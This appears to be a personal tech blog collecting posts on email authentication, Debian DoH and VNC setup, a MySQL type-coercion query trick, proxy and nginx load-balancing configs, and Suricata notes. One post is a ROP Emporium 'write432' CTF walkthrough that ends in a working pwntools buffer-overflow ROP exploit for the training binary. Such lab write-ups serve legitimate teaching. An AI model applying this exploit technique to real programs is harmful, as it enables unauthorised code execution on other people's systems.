bookmark_borderEmail Security

If I send an email to a Gmail account using my email address, how does Gmail know it’s definitely from me and not a hacker?

SPF

SPF (Sender Policy Framework) allows the publication of authorized mail servers for a domain, helping to prevent sender address forgery. Here’s an example of how it works:

  1. SPF Record Retrieval: The receiving email server retrieves the SPF record from the DNS records for the domain 73007300.xyz.
  2. Verification: The receiving server checks the SPF record to verify all the IP addresses authorized to send emails on behalf of the domain.
  3. Trusted Email: If the SPF check passes, the receiving server considers the email trusted. It proceeds with processing the message, confident that it was sent from an approved sending server.
  4. Illegitimate Email: If the SPF check fails, the message is deemed illegitimate and is handled according to the receiving server’s failure process.

I set an SPF record in my DNS records:

This tells Gmail that when it receives an email from my address, if the email originates from 51.79.156.122/24 or 51.79.216.166/24, it is from my domain.

we can also use DnsChecker to verify SPF record.

For rest part, I will use the DnsChecker to demonstrate.

when we open gmail, check the email I sent:

Gmail did check the SPF record.

But how does Gmail know the email content hasn’t been tampered with?

DKIM

DKIM (DomainKeys Identified Mail)

DKIM adds a digital signature to emails, ensuring that the content has not been tampered with in transit.

To use DKIM, the email server is configured to attach DKIM signatures when sending emails. These signatures travel with the emails and are verified by the receiving servers, helping them reach their final destination.

These signatures work like a watermark:

  • An email provider generates both public and private keys.
  • The public key is provided to the domain owner, who places it in the publicly available domain DNS record as the DKIM record.
  • The sending email server signs an email with the private key, creating a “digital signature.” This signature is added as an extra header to assist the receiving servers in verification.
  • The receiving email server locates the domain’s DKIM record, fetches the public key, and uses it to verify the digital signature.
  • The receiving server can then confirm that the email was sent from the specified domain and remains unaltered during its transit.

When Gmail receives an email from my domain, it will extract the selector (which is x) and the domain (which is 73007300.xyz) from the email header. The public key can then be retrieved from my DNS record at x._domainkey.73007300.xyz, where _domainkey is fixed.

check on DNSCheck

Then Gmail can decrypt the hash using my public key, compute a hash of the same fields, and compare it to the decrypted hash.

But how can I know whether the target user received my email? Can the target server provide me with some feedback?

DMARC

DMARC (Domain-based Message Authentication, Reporting, and Conformance) builds on SPF and DKIM, providing additional instructions on how receivers should handle emails that fail authentication tests. It also generates reports that help senders improve their email protection practices.

DMARC is a protocol that enhances email authentication by working alongside SPF and DKIM to protect your domain from abusive activity, such as spoofing by hackers and other attackers. It provides you with the ability to monitor and control your domain’s email authentication policies. By ensuring that phishing emails and malware cannot be sent from your domain, DMARC strengthens your email security posture.

DMARC supplements SMTP (Simple Mail Transfer Protocol) by defining policies for email authentication, which SMTP does not include on its own.

Example of a DMARC record:

  • RUA (Aggregate Reports) are primarily used for monitoring and gaining insights into the overall email authentication health of a domain.
  • RUF (Forensic Reports) are useful for detailed, case-by-case investigation of DMARC failures but can generate large volumes of data and may raise privacy concerns due to the detailed nature of the reports.
  • The ‘p=quarantine’ policy aims to mitigate the risk of fraudulent or spoofed emails being delivered to recipients by instructing receiving servers to place suspicious emails into a special area (like a spam or junk folder) rather than delivering them directly to the inbox. This option can be set to None, Quarantine, or Reject.

DMARC allows us to receive reports on your domain’s sending activity. With support from ISPs (Gmail, Yahoo, Microsoft, and more), these reports are sent to specified email addresses containing all of the domain’s messages.

However, you may have noticed that even when SPF and DKIM pass, my emails sent to Gmail are still marked as spam, meaning they are unwanted. How can this be avoided?

Return-path

According to Twilio SendGrid, the Return-path is essential for mass email campaigns as it effectively manages bounced emails. When sending emails to large lists, numerous messages may bounce, cluttering the original sending inbox. A designated return-path directs these bounce messages to a separate inbox, keeping the sending inbox clear. Additionally, the return-path enhances email deliverability and sender reputation by validating the sender’s identity. As an SMTP address, it helps servers and inbox providers determine how to filter messages, thereby boosting the sender’s credibility and reputation.

This time, I will use Postmark to send emails, which can enhance my credibility.

After config proper DNS record:

Now I can use Postmark to send Email:

This time, email sending from my domain to Gmail was not marked as Spam:

Because I configured a DNS record with Postmark to handle my email sending, as outlined in the Postmark documentation, Postmark helps deliver and track application emails. This capability enhances my credibility with Gmail.

bookmark_borderDebian 11 配置 DNS over HTTPS(DoH)

close other dns server if necessary

systemctl stop systemd-resolved
systemctl disable systemd-resolved

redirect local dns

echo "nameserver 127.0.0.1" > /etc/resolv.conf

use dnss to perform DoH

apt install dnss

dnss –help
/etc/default/dnss
default is using google dns
https://dns.google/dns-query
https://doh.dns.sb/dns-query

change to cloudflare DNS

sed -i 's#--enable_dns_to_https#--enable_dns_to_https --https_upstream=https://1.1.1.1/dns-query #g' /etc/default/dnss
systemctl restart dnss

test

apt install dnsutils -y
dig jd.com

bookmark_borderDebian10安装桌面+配置VNC

安装

Debian10桌面版本次安装Xfce(https://wiki.debian.org/DesktopEnvironment )
apt update -y && apt full-upgrade -y
sudo apt install tasksel
sudo tasksel
sudo apt install tightvncserver
# https://www.digitalocean.com/community/tutorials/how-to-install-and-configure-vnc-on-debian-10 
启动VNC并且生成配置文件:
vncserver :1 -geometry 1280x800 -depth 16 -localhost -nolisten tcp
配置文件默认保存在 ~/.vnc目录下。
然后根据安装的不同的桌面,修改对应的配置。

Gnome桌面配置

安装Gnome组件:
sudo apt install gnome-panel gnome-settings-daemon metacity nautilus gnome-terminal -y
写入配置文件,使客户端连接的时候可以启动图形界面,不然有可能是灰屏或者是空的
cp ~/.vnc/xstartup ~/.vnc/xstartup.old

cat > ~/.vnc/xstartup << EOF
#!/bin/bash
unset SESSION_MANAGER
unset DBUS_SESSION_BUS_ADDRESS
[ -x /etc/vnc/xstartup ] && exec /etc/vnc/xstartup
[ -r $HOME/.Xresources ] && xrdb $HOME/.Xresources
# gnome-session &
vncconfig -iconic &
dbus-launch --exit-with-session gnome-session &
EOF
最关键的就是这句:
dbus-launch –exit-with-session gnome-session &

xfce桌面配置

修改配置文件
vim  ~/.vnc/xstartup
cp ~/.vnc/xstartup ~/.vnc/xstartup.old

cat > ~/.vnc/xstartup << EOF
#!/bin/bash
unset SESSION_MANAGER
unset DBUS_SESSION_BUS_ADDRESS
[ -x /etc/vnc/xstartup ] && exec /etc/vnc/xstartup
[ -r $HOME/.Xresources ] && xrdb $HOME/.Xresources
# gnome-session &
vncconfig -iconic &
dbus-launch --exit-with-session startxfce4 &
EOF

重启VNC Server

vncserver -kill :1
vncserver :1 -geometry 1280x800 -depth 16 -localhost -nolisten tcp
然后通过映射服务器的5901端口就可以访问vnc了,例如:
ssh root@VPS_IP -L 5901:localhost:5901
连接本机5901端口即可。

bookmark_borderROP Emporium学习 — write432

write432

静态分析

查看二进制文件的基本信息
xxxx@debian9:~/pwn/ropemporium$ rabin2 -I write432
arch     x86
baddr    0x8048000
binsz    6050
bintype  elf
bits     32
canary   false
class    ELF32
compiler GCC: (Ubuntu 7.5.0-3ubuntu1~18.04) 7.5.0
crypto   false
endian   little
havecode true
intrp    /lib/ld-linux.so.2
laddr    0x0
lang     c
linenum  true
lsyms    true
machine  Intel 80386
maxopsz  16
minopsz  1
nx       true
os       linux
pcalign  0
pic      false
relocs   true
relro    partial
rpath    .
sanitiz  false
static   false
stripped false
subsys   linux
va       true
[0x080483f0]> afl
0x080483f0    1 50           entry0
0x08048423    1 4            fcn.08048423
0x080483c0    1 6            sym.imp.__libc_start_main
0x0804837c    3 35           sym._init
0x08048440    1 4            sym.__x86.get_pc_thunk.bx
0x080483e0    1 6            sym..plt.got
0x080485b4    1 20           sym._fini
0x08048450    4 50   -> 41   sym.deregister_tm_clones
0x08048490    4 58   -> 54   sym.register_tm_clones
0x080484d0    3 34   -> 31   sym.__do_global_dtors_aux
0x08048500    1 6            entry.init0
0x0804852a    1 25           sym.usefulFunction
0x080483d0    1 6            sym.imp.print_file
0x080485b0    1 2            sym.__libc_csu_fini
0x08048550    4 93           sym.__libc_csu_init
0x08048430    1 2            sym._dl_relocate_static_pie
0x08048506    1 36           main
0x080483b0    1 6            sym.imp.pwnme
[0x080483f0]>
执行一下程序
xxxx@debian9:~/pwn/ropemporium$ ./write432
write4 by ROP Emporium
x86

Go ahead and give me the input already!

> AAA
Thank you!
xxxx@debian9:~/pwn/ropemporium$

动态调试

使用gdb调试
 gdb -q ./write432
查看程序开启了哪些保护
gdb-peda$ checksec
CANARY    : disabled
FORTIFY   : disabled
NX        : ENABLED
PIE       : disabled
RELRO     : Partial
gdb-peda$
NX: ENABLED说明Heap里没有执行权限,无法在Heap上构造shellcode执行。
加载程序到main的位置停下
gdb-peda$ start
在read函数处做断点
gdb-peda$ break *read
随便创建30个长度的字符
gdb-peda$ pattern_create 30
'AAA%AAsAABAA$AAnAACAA-AA(AADAA'
继续执行
gdb-peda$ continue
在read函数执行完的地方停下
gdb-peda$ finish
输入AAA%AAsAABAA$AAnAACAA-AA(AADAA
一路next 到ret之前:
gdb-peda$ next
可以看到路上并没有对输入做任何校验。
在 leave;ret;指令之前,可以看到Heap的大小是40
[----------------------------------registers-----------------------------------]
EAX: 0xb ('\x0b')
EBX: 0xf7fd2000 --> 0x1f0c
ECX: 0xfbad0087
EDX: 0xf7fb1870 --> 0x0
ESI: 0x1
EDI: 0xf7fb0000 --> 0x1b2db0
EBP: 0xffffd588 --> 0xffffd598 --> 0x0
ESP: 0xffffd560 ("AAA%AAsAABAA$AAnAACAA-AA(AADAA\n")
EIP: 0xf7fd074a (<pwnme+173>:   mov    ebx,DWORD PTR [ebp-0x4])
EFLAGS: 0x286 (carry PARITY adjust zero SIGN trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0xf7fd0741 <pwnme+164>:      call   0xf7fd0540 <puts@plt>
   0xf7fd0746 <pwnme+169>:      add    esp,0x10
   0xf7fd0749 <pwnme+172>:      nop
=> 0xf7fd074a <pwnme+173>:      mov    ebx,DWORD PTR [ebp-0x4]
   0xf7fd074d <pwnme+176>:      leave
   0xf7fd074e <pwnme+177>:      ret
   0xf7fd074f <print_file>:     push   ebp
   0xf7fd0750 <print_file+1>:   mov    ebp,esp
[------------------------------------stack-------------------------------------]
0000| 0xffffd560 ("AAA%AAsAABAA$AAnAACAA-AA(AADAA\n")
0004| 0xffffd564 ("AAsAABAA$AAnAACAA-AA(AADAA\n")
0008| 0xffffd568 ("ABAA$AAnAACAA-AA(AADAA\n")
0012| 0xffffd56c ("$AAnAACAA-AA(AADAA\n")
0016| 0xffffd570 ("AACAA-AA(AADAA\n")
0020| 0xffffd574 ("A-AA(AADAA\n")
0024| 0xffffd578 ("(AADAA\n")
0028| 0xffffd57c --> 0xa4141 ('AA\n')
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
0xf7fd074a in pwnme () from ./libwrite432.so

gdb-peda$ p/d $ebp-$esp
$1 = 40
因此造出大于40个长度的字符即可溢出,由于32位程序要4字节对齐,那就创44个字符。
gdb-peda$ pattern_create 44
'AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0A'
溢出:
xxxx@debian9:~/pwn/ropemporium$ ./write432
write4 by ROP Emporium
x86

Go ahead and give me the input already!

> AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0A
Thank you!
Segmentation fault
xxxx@debian9:~/pwn/ropemporium$

利用

确定利用方法
题目的意思上给print_file函数传一个参数(flag.txt)
xxxx@debian9:~/pwn/ropemporium$ radare2  write432
 -- Everybody hates warnings. Mr. Pancake, tear down this -Wall
[0x080483f0]> aaa
[x] Analyze all flags starting with sym. and entry0 (aa)
[x] Analyze function calls (aac)
[x] Analyze len bytes of instructions for references (aar)
[x] Finding and parsing C++ vtables (avrr)
[x] Type matching analysis for all functions (aaft)
[x] Propagate noreturn information (aanr)
[x] Use -AA or aaaa to perform additional experimental analysis.
[0x080483f0]> afl
0x080483f0    1 50           entry0
0x08048423    1 4            fcn.08048423
0x080483c0    1 6            sym.imp.__libc_start_main
0x0804837c    3 35           sym._init
0x08048440    1 4            sym.__x86.get_pc_thunk.bx
0x080483e0    1 6            sym..plt.got
0x080485b4    1 20           sym._fini
0x08048450    4 50   -> 41   sym.deregister_tm_clones
0x08048490    4 58   -> 54   sym.register_tm_clones
0x080484d0    3 34   -> 31   sym.__do_global_dtors_aux
0x08048500    1 6            entry.init0
0x0804852a    1 25           sym.usefulFunction
0x080483d0    1 6            sym.imp.print_file
0x080485b0    1 2            sym.__libc_csu_fini
0x08048550    4 93           sym.__libc_csu_init
0x08048430    1 2            sym._dl_relocate_static_pie
0x08048506    1 36           main
0x080483b0    1 6            sym.imp.pwnme
[0x080483f0]>
整个PE文件都没有flag字符
[0x080483f0]> axt @@ str.*

[0x080483f0]> izz
需要构造然后放到内存中的data区域内。
找写内存的gadget
$ ROPgadget --binary write432 --only 'pop|mov|ret'
Gadgets information
============================================================
...
0x08048543 : mov dword ptr [edi], ebp ; ret
用于把寄存器的值写道内存里 后面只要关注怎么让edi指向.data区域就行了
$ ROPgadget --binary write432 --only 'pop|mov|ret'
Gadgets information
============================================================
...
0x080485aa : pop edi ; pop ebp ; ret
这个指令可以修改edi值地址,使其指向任何可写的内存区域,用于构造“flag.txt”
查找哪个区域可以写:
$ readelf -a ./write432
...
  [19] .init_array       INIT_ARRAY      08049efc 000efc 000004 04  WA  0   0  4
  [20] .fini_array       FINI_ARRAY      08049f00 000f00 000004 04  WA  0   0  4
  [21] .dynamic          DYNAMIC         08049f04 000f04 0000f8 08  WA  6   0  4
  [22] .got              PROGBITS        08049ffc 000ffc 000004 04  WA  0   0  4
  [23] .got.plt          PROGBITS        0804a000 001000 000018 04  WA  0   0  4
  [24] .data             PROGBITS        0804a018 001018 000008 00  WA  0   0  4
data区域可写,而且里面是空的:
$ readelf -x .data ./write432
Hex dump of section '.data':
  0x0804a018 00000000 00000000                   ........
压入成功后会在.data区域写入 flag.txt 字符
[----------------------------------registers-----------------------------------]
EAX: 0xb ('\x0b')
EBX: 0x41414141 ('AAAA')
ECX: 0xfbad0087
EDX: 0xf7fb1870 --> 0x0
ESI: 0x1
EDI: 0x804a01c (".txt")
EBP: 0x7478742e ('.txt')
ESP: 0xffffd5ac --> 0x80483d0 (<print_file@plt>:        jmp    DWORD PTR ds:0x804a014)
EIP: 0x8048545 (<usefulGadgets+2>:      ret)
EFLAGS: 0x286 (carry PARITY adjust zero SIGN trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0x8048541 <usefulFunction+23>:       leave
   0x8048542 <usefulFunction+24>:       ret
   0x8048543 <usefulGadgets>:   mov    DWORD PTR [edi],ebp
=> 0x8048545 <usefulGadgets+2>: ret
   0x8048546 <usefulGadgets+3>: xchg   ax,ax
   0x8048548 <usefulGadgets+5>: xchg   ax,ax
   0x804854a <usefulGadgets+7>: xchg   ax,ax
   0x804854c <usefulGadgets+9>: xchg   ax,ax
[------------------------------------stack-------------------------------------]
0000| 0xffffd5ac --> 0x80483d0 (<print_file@plt>:       jmp    DWORD PTR ds:0x804a014)
0004| 0xffffd5b0 --> 0x804a018 ("flag.txt")
0008| 0xffffd5b4 --> 0xffffd644 --> 0xffffd77d ("/home/xxxx/pwn/ropemporium/write432")
0012| 0xffffd5b8 --> 0xffffd64c --> 0xffffd7a1 ("LS_COLORS=rs=0:di=01;34:ln=01;36:mh=00:pi=40;33:so=01;35:do=01;35:bd=40;33;01:cd=40;33;01:or=40;31;01:mi=00:su=37;41:sg=30;43:ca=30;41:tw=30;42:ow=34;42:st=37;44:ex=01;32:*.tar=01;31:*.tgz=01;31:*.arc"...)
0016| 0xffffd5bc --> 0x0
0020| 0xffffd5c0 --> 0x0
0024| 0xffffd5c4 --> 0x0
0028| 0xffffd5c8 --> 0xf7fb0000 --> 0x1b2db0
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
0x08048545 in usefulGadgets ()
gdb-peda$ x/10s 0x0804a018
0x804a018:      "flag.txt"
0x804a021:      ""
0x804a022:      ""
0x804a023:      ""
0x804a024:      ""
0x804a025:      ""
0x804a026:      ""
0x804a027:      ""
0x804a028:      ""
0x804a029:      ""
gdb-peda$ next
由于print_file中是从ebp+0x8 传的参数给fopen, 因此flag.txt之前还要加4个字符
   0xf7fd0772 <print_file+35>:  push   DWORD PTR [ebp+0x8]
=> 0xf7fd0775 <print_file+38>:  call   0xf7fd0570 <fopen@plt>
python3 利用脚本
from pwn import *

def convertASCII_to_Hex(value):
	res = ""
	for i in value:
		res += hex(ord(i))[2:]
	return res      

def changeEndian(value):
	length = len(value)
	res = "0x"
	for i in range(length-1, 0, -2):
		res += value[i-1]+ value[i]
	return res      

def generateString(value):
	return int(changeEndian(convertASCII_to_Hex(value)), 16)


#Prepare the payload
junk = b"A"*44

pop_edi_ebp = p32(0x080485aa)
data_addr_1 = p32(0x0804a018) 
string1 = p32(generateString("flag"))  

move_edi_epb = p32(0x08048543)

pop_edi_ebp = p32(0x080485aa)
data_addr_2 = p32(0x0804a018 + 4) 
string2 = p32(generateString(".txt"))  

print_file = p32(0x080483d0)

payload = junk

payload += pop_edi_ebp
payload += data_addr_1
payload += string1
payload += move_edi_epb

payload += pop_edi_ebp
payload += data_addr_2
payload += string2
payload += move_edi_epb

payload += print_file
payload += b"BBBB"
payload += data_addr_1

#sys.stdout.buffer.write(payload)

# Send the payload
elf = ELF('write432')                 #context.binary
p = process(elf.path)

p.sendline(payload)                 #send the payload to the process

p.interactive()
参考:

bookmark_borderMysql特殊查询技巧

今天有个群友在群里提出了类似的疑问:
select * from USER_PRIVILEGES where GRANTEE = char(111)+char(1);
+---------------------------+---------------+--------------------------+--------------+
| GRANTEE                   | TABLE_CATALOG | PRIVILEGE_TYPE           | IS_GRANTABLE |
+---------------------------+---------------+--------------------------+--------------+
| 'mariadb.sys'@'localhost' | def           | USAGE                    | NO           |
| 'mysql'@'localhost'       | def           | SELECT                   | YES          |
| 'mysql'@'localhost'       | def           | INSERT                   | YES          |
| 'mysql'@'localhost'       | def           | UPDATE                   | YES          |
| 'mysql'@'localhost'       | def           | DELETE                   | YES          |
| 'mysql'@'localhost'       | def           | CREATE                   | YES          |
...
 GRANTEE = char(111)+char(1) 可以查出全结果。
思考了一下,发现挺有趣的。记录下来。
char(1)+char(1) 表示0
 select (char(1)+char(1)) from USER_PRIVILEGES;
+-------------------+
| (char(1)+char(1)) |
+-------------------+
|                 0 |
|                 0 |
|                 0 |
GRANTEE=0 表示1
select GRANTEE=0 from USER_PRIVILEGES;
+-----------+
| GRANTEE=0 |
+-----------+
|         1 |
|         1 |
|         1 |
where 1 表示全结果
select count(*) from USER_PRIVILEGES where 1;
+----------+
| count(*) |
+----------+
|       77 |
+----------+
因此就可以用 GRANTEE = char(111)+char(1) 查出全结果了,有点绕。

bookmark_border解决XBOX下载没速度不稳定的问题

花了一天时间,终于想明白了,为啥XBOX下载没速度了.
因为XBOX是用UDP下载的,只要流量出了我的路由器到公网,就会被国内运营商Qos.
解决办法,让XBOX的UDP走TCP.
前提:
需要一台国外服务器,需要一个Openwrt(LEDE)软路由
1. 部署xray(xtls+vless)
首先要申请一个域名,然后申请一个SSL证书.
这个一开始会觉得很麻烦,其实熟悉以后,也就十分钟不到的事.
只有域名要花钱,证书都可以免费申请,这个上网找吧.
申请下来域名和证书后,修改如下命令,在服务器上一行一行复制粘贴执行,我这里以Debian为例:
# 证书使用的域名
DOMAIN="xx.xx.xyz"
# 根据 ${DOMAIN}.zip解压出的实际情况 决定 $SSL_CERT 和 $SSL_KEY路径
SSL_CERT="/etc/nginx/ssl/Nginx/1_${DOMAIN}_bundle.crt"
SSL_KEY="/etc/nginx/ssl/Nginx/2_${DOMAIN}.key"
SSL_PORT=11443
HTTP_PORT=10080
XRAY_PORT=1443

sudo apt update -y
sudo apt install nginx-full -y
cd /etc/nginx/ && sudo mkdir ssl
# 把证书压缩包放到/etc/nginx/ssl/下
sudo cp ~/${DOMAIN}.zip /etc/nginx/ssl/
cd /etc/nginx/ssl/ && sudo unzip ${DOMAIN}.zip


sudo tee /etc/nginx/sites-enabled/default << EOF
server {
        listen ${HTTP_PORT} default_server;
		listen [::]:${HTTP_PORT} default_server;
        return 301 https://\$host:${SSL_PORT}\$request_uri;
}
server {

	# SSL configuration
	listen ${SSL_PORT} ssl default_server;
	listen [::]:${SSL_PORT} ssl default_server;
    ssl_certificate ${SSL_CERT};
	ssl_certificate_key ${SSL_KEY};
	
	# Self signed certs generated by the ssl-cert package
	# Don't use them in a production server!
	#
	# include snippets/snakeoil.conf;

	root /var/www/html;

	# Add index.php to the list if you are using PHP
	index index.html index.htm index.nginx-debian.html;

	server_name ${DOMAIN};

	location / {
        root /var/www/html;
		try_files $uri $uri/ =404;
	}
}
EOF
# 如果要开放 nginx端口需要放开防火墙,不开放也行
#iptables -A INPUT -p tcp --dport ${SSL_PORT} -j ACCEPT

sudo systemctl restart nginx.service 

#xray
#下载最新的Xray-core 到 ~/xtls/xray 目录下
mkdir -p ~/xtls/xray && cd ~/xtls/xray 
lastVersion=$(curl -s https://github.com/XTLS/Xray-core/releases/latest | grep -Po '(?<=/releases/tag/)[0-9a-zA-Z.]*(?=")')
curl -sL "https://github.com/XTLS/Xray-core/releases/download/${lastVersion}/Xray-linux-64.zip" -o Xray-linux-64.zip && unzip  Xray-linux-64.zip
# uuid
Uuid=$(cd  ~/xtls/xray && ./xray uuid)
echo "UUID:$Uuid"

# xray 服务端配置
cat > ~/xtls/xray/config.json << EOF
{
	//日志配置,控制 Xray 输出日志的方式. https://xtls.github.io/Xray-docs-next/config/log.html#logobject
	"log": {
		//"access": "/var/log/Xray/access.log",
		"access": "/tmp/XrayAccess.log",
		"loglevel": "warning",
		"dnsLog": false
	},
	// 提供了一些 API 接口供远程调用。
	//"api": {},
	// 内置的 DNS 服务器. 如果没有配置此项,则使用系统的 DNS 设置。
	"dns": {
		"hosts": {
		  "localhost": "127.0.0.1"
		},
		"servers": [
		  "1.1.1.1",
		  "8.8.8.8",
		  {
			"address": "114.114.114.114",
			"port": 53,
			"domains": ["geoip:cn"]
			#"expectIPs": ["geoip:cn"]
		  },
		  "localhost"
		],
		"clientIp": "1.2.3.4",
		"tag": "dns_inbound"
  },
	// 路由功能。可以设置规则分流数据从不同的 outbound 发出.
	//"routing": {},
	// 本地策略,可以设置不同的用户等级和对应的策略设置。
	//"policy": {},
	// 一个数组,每个元素是一个入站连接配置。
	"inbounds": [ {
		// 监听地址,IP 地址或 Unix domain socket,默认值为 "0.0.0.0",表示接收所有网卡上的连接.可以指定一个系统可用的 IP 地址。支持填写 Unix domain socket,格式为绝对路径,形如 "/dev/shm/domain.socket",可在开头加 @ 代表 abstract,@@ 则代表带 padding 的 abstract。填写 Unix domain socket 时,port 和 allocate 将被忽略,协议目前可选 VLESS、VMess、Trojan,传输方式可选 TCP、WebSocket、HTTP/2、gRPC。
		"listen": "0.0.0.0",
		"port": $XRAY_PORT, // 可以换成其他端口
		"protocol": "vless",
		"settings": {
			"clients": [
				{
					"id": "$Uuid", // 填写你的UUID , ./xray uuid -i "fgrrwd"   OR   ./xray uuid
					"flow": "xtls-rprx-direct", 
					"level": 0
				}
			],
			"decryption": "none",
			"fallbacks": [
				 {
				  "dest": 80  // 本地80端口需支持http2,且不能是https
				}
			]
		},
		"streamSettings": {
			"network": "tcp",
			"security": "xtls",
			"xtlsSettings": {
				//"serverName": "${DOMAIN}",
				//"allowInsecure": false,
				"alpn": ["h2", "http/1.1"],
				//"minVersion": "1.2",
				//"maxVersion": "1.3",
				//"preferServerCipherSuites": true,
				"certificates": [
					{
						"certificateFile": "${SSL_CERT}", // 换成你的证书
						"keyFile": "${SSL_KEY}" // 换成你的私钥
					}
				]
			}
		},
		"sniffing":{
				"enabled": true,
				"destOverride": ["http", "tls", "fakedns"],
				"metadataOnly": false,
				"domainsExcluded": []
			},
		"allocate": {
				//  表示随机开放端口,每隔 refresh 分钟在 port 范围中随机选取 concurrency 个端口来监听。
				"strategy": "always"
			}
        }],
	// 一个数组,每个元素是一个出站连接配置。
	"outbounds": [ {
            "protocol": "freedom"
        }]
	// 用于配置 Xray 其它服务器建立和使用网络连接的方式。
	//"transport": {},
	// 用于配置流量数据的统计。
	//"stats": {},
	// 反向代理。可以把服务器端的流量向客户端转发,即逆向流量转发。
	//"reverse": {},
	// FakeDNS 配置。可配合透明代理使用,以获取实际域名。
	//"fakedns": {}
}
EOF

#  测试配置
./xray -test -config ./config.json
#
# 防火墙把xray端口开开
#iptables -A INPUT -p tcp --dport ${XRAY_PORT} -j ACCEPT
#iptables -A INPUT -p udp --dport ${XRAY_PORT} -j ACCEPT

# 运行
./xray -config ./config.json &


# 客户端配置文件:
cat > ~/xtls/xray/config_client.json << EOF
{
    "log": {
        "loglevel": "warning"
    },
    "inbounds": [
        {
            "port": 1080,
            "listen": "127.0.0.1",
            "protocol": "socks",
            "settings": {
                "udp": true
            }
        }
    ],
    "outbounds": [
        {
            "protocol": "vless",
            "settings": {
                "vnext": [
                    {
                        "address": "${DOMAIN}", 
                        "port": $XRAY_PORT,
                        "users": [
                            {
                                "id": "$Uuid",
                                "flow": "xtls-rprx-direct",
                                "encryption": "none",
                                "level": 0
                            }
                        ]
                    }
                ]
            },
            "streamSettings": {
                "network": "tcp",
                "security": "xtls", 
                "xtlsSettings": {
                    "serverName": "${DOMAIN}"
                }
            }
        }
    ]
}
EOF
把客户端配置文件config_client.json拉到本地
2. openwrt上导入配置
把上述配置输入到openwrt的ShadowSocksR Plus+ 设置中,关于安装ShadowSocksR Plus+ 可以参考我之前的博客.
ShadowSocksR Plus+ 中的”访问控制”->”局域网访问控制”中,内网访问控制选择”仅允许列表内”.
全局代理的LAN IP 和 增强游戏模式客户端LAN IP 分别输入XBOX的IP即可,点保存应用生效.
这时候下载速度就只和你VPS线路的速度有关了.
Windows上可以用v2rayN客户端.

bookmark_borderSuricata无法检测tls加密的https流量

尝试了用SSLKEYLOGFILE导出https流量client端的key,并在wireshark中解密,导出pcap,suricata依旧无法检测。
以下是过程:
1. 配置密钥存放地址环境变量
mkdir ~/tls && touch ~/tls/sslkeylog.log

#zsh
echo ""  >> ~/.zshrc
echo "export SSLKEYLOGFILE=~/tls/sslkeylog.log" >> ~/.zshrc && source ~/.zshrc

#bash
echo ""  >> ~/.bashrc
echo "export SSLKEYLOGFILE=~/tls/sslkeylog.log" >> ~/.bashrc && source ~/.bashrc
2. 配置wireshark中 解密密钥的路径
3 curl 一下https网站, wireshark就解密了。

可以看到
使用wireshark是可以看到https中的http明文的。
但是suricata无法检测http中的任何关键字。
到网上找到一个PDF,确信了suricata是无法检测tls加密流量中的明文的:
PDF最后提到要把suricata放到ssl 负载均衡后面。
就是不知道天眼,御界是怎么导入证书检测的,难道用私钥充当了代理服务器解密的角色?

bookmark_bordernginx对指定端口的TCP和UDP协议进行负载均衡

nginx既可以对tcp协议进行负载均衡,也可以对UDP协议进行负载均衡。
以shadowsock为例,假如我现在有3台shadowsocks:

11.11.11.11:2222
33.33.33.33:4444
55.55.55.55:6666

每台上都同时开了TCP和UDP协议。而且每台上的加密方式和密码都一样。
这点很重要,每台上的加密方式和密码必须一样。
现在我要通过本地nginx实施负载均衡。
以最简单的轮询式(Round Robin)负载为例。
以Debian为例,先安装nginx:

sudo apt install nginx-full -y

修改如下ip和端口,追加到/etc/nginx/nginx.conf 文件中:

# https://docs.nginx.com/nginx/admin-guide/load-balancer/tcp-udp-load-balancer/
# 放置在/etc/nginx/nginx.conf的 http{} 部分的下面
stream {
    upstream shadowsocks_tcp {
        # By default, NGINX uses the Round Robin algorithm to load balance traffic
        server 11.11.11.11:2222 max_fails=2 fail_timeout=5;
        server 33.33.33.33:4444 max_fails=2 fail_timeout=5;
        server 55.55.55.55:6666 max_fails=2 fail_timeout=5;
    }
    
    upstream shadowsocks_udp {
        # By default, NGINX uses the Round Robin algorithm to load balance traffic
        server 11.11.11.11:2222 max_fails=2 fail_timeout=5;
        server 33.33.33.33:4444 max_fails=2 fail_timeout=5;
        server 55.55.55.55:6666 max_fails=2 fail_timeout=5;
    }
    
    server {
		# https://docs.nginx.com/nginx/admin-guide/load-balancer/tcp-health-check/
        listen        8388;
        proxy_pass    shadowsocks_tcp;
        proxy_timeout 3s;
        proxy_connect_timeout 1s;
    }
    
    server {
		# https://docs.nginx.com/nginx/admin-guide/load-balancer/udp-health-check/
        listen     8388 udp;
        proxy_pass shadowsocks_udp;
		proxy_timeout   1s;
    }
}

重启nginx使配置生效:

sudo systemctl start nginx.service

然后就可以通过配置ss连接到nginx的8388端口 ,均匀的访问到每个节点。

bookmark_border通过禁用TSO解决无法识别大pcap包的问题

使用TSO(TCP Segmentation Offload) 的网卡,可使一个tcp包携带超过1460大小的数据,导致suricata和wireshark识别不正确。
如果想suricata和wireshark正确的识别大长度的pcap包,需要禁用TSO
在Linux内核中的实现分别是 LSO (Large Send Offload) LRO (Large Receive Offload)
禁用的方法:

ethtool -K ens33 tso off
ethtool -K ens33 gro off
ethtool -K ens33 gso off

并在网卡配置里添加如下:

    offload-tx  off
    offload-sg  off
    offload-tso off
    offload-gso off
    offload-gro off

以我的为例:

root@debian10:~# cat /etc/network/interfaces
......
auto lo
iface lo inet loopback

# The primary network interface
auto ens33
iface ens33 inet dhcp
    offload-tx  off
    offload-sg  off
    offload-tso off
    offload-gso off
    offload-gro off
root@debian10:~#

在windows里禁用,参考

参考:
https://meet-unix.org/2017-02-19-tcp-lso.html
https://forum.suricata.io/t/cant-detect-amq-message/1203/4

bookmark_borderssh 通过socks5 代理连接

在kali上 nc默认用的是nc.traditional,不支持代理的。
$ ll /bin/nc
lrwxrwxrwx 1 root root 20 Jan 11  2019 /bin/nc -> /etc/alternatives/nc
$ ll /etc/alternatives/nc
lrwxrwxrwx 1 root root 15 Jan  1 12:06 /etc/alternatives/nc -> /bin/nc.traditional
安装支持socks5的nc
$ sudo apt install  netcat-openbsd -y
然后就可以使用ssh通过socks5代理连接了:
ssh [email protected] -o ProxyCommand='nc -X 5 -x 192.168.x.x:1080 %h %p' -p 22 
或者也可以让ssh通过另一个ssh隧道:
